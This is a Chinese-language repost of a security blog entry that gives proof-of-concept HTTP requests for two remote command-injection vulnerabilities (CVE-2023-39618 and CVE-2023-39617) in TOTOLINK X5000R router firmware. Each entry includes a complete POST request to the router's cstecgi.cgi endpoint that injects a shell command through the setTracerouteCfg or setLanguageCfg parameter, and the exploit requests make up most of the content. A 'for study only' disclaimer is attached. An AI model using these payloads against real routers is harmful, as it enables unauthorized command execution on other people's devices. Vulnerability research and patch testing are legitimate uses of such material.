CVE-2023-39618 远程命令执行
漏洞描述
TOTOLINK X5000R B20210419被发现包含通过setTracerouteCfg接口的远程代码执行(RCE)漏洞。
影响版本
X5000R_Firmware B20210419(transition)
漏洞利用
POC
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 86
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://xxx.xxx.xxx
Referer: http://xxx.xxx.xxx/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"command":"rn pwd > /web/gxh_hrp.txt rn","num":"2","topicurl":"setTracerouteCfg"}
查看命令执行结果
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-39618
https://sedate-class-393.notion.site/X5000R_setTracerouteCfg-3567fd9f93d84afab0d81cd8c063f9a1
https://www.totolink.net/data/upload/20220412/fe7937cc79ddaca13b8c7e49ee1c2860.rar
CVE-2023-39617 远程命令执行
漏洞描述
TOTOLINK X5000R_V9.1.0cu.2089_B20211224
TOTOLINK X5000R_V9.1.0cu.2350_B20230313
被发现通过 setLanguageCfg 函数中的 lang 参数包含远程代码执行(RCE)漏洞。
影响版本
X5000R_EasyMesh_Firmware V9.1.0cu.2089_B20211224
X5000R_EasyMesh_Firmware V9.1.0cu.2350_B20230313
漏洞利用
POC
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 89
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://xxx.xxx.xxx
Referer: http://xxx.xxx.xxx/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"command":"1.2.3.4 rn ls>/web/gxh_hrp.txt rn","num":"2","topicurl":"setLanguageCfg"}
查看命令执行结果
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-39617
https://sedate-class-393.notion.site/X5000R_setLanguageCfg-ee7eb0d4cd5d43e9983296200371eff1
https://www.totolink.net/data/upload/20220412/a8e1a07b9ac5a55d013f6978204fd83e.rar
https://www.totolink.net/data/upload/20230330/32b35a2a2ede3a948f8c5df15ac2631e.rar
仅供学习交流,勿用作违法犯罪
原文始发于微信公众号(不够安全):TOTOLink X5000R 远程命令执行 附POC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论